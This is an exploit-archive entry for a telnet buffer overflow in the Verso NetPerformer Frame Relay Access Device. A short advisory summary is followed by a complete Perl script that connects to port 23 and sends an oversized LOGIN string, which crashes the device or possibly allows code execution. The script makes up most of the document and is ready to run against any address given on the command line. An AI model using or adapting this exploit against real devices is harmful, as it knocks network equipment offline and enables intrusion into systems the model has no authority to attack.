Verso NetPerformer Frame Relay Access Device - Telnet Buffer Overflow

source: https://www.securityfocus.com/bid/19989/info

Verso NetPerformer Frame Relay Access Device (FRAD) is prone to a remotely exploitable buffer overflow in the telnet service.

A remote attacker can exploit this issue to execute arbitrary code on the affected device. Failed exploit attempts will likely crash the device, denying service to legitimate users.

# __START_CODE
#
#!/usr/bin/perl

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],

PeerPort => "23",

Proto    => "TCP"))
{
                 print "Modhiar'000 ..... killing netperformer ... $ARGV[0]
port 23...";
                 sleep(1);
                 print $socket "LOGIN " . "A" x 4550 . "BCDE\r\n";
                 sleep(1);
                 print $socket "PASS " . "\r\n";
                 close($socket);
}
else
{
                 print "Cannot connect to $ARGV[0]:23\n";
}
# __END_CODE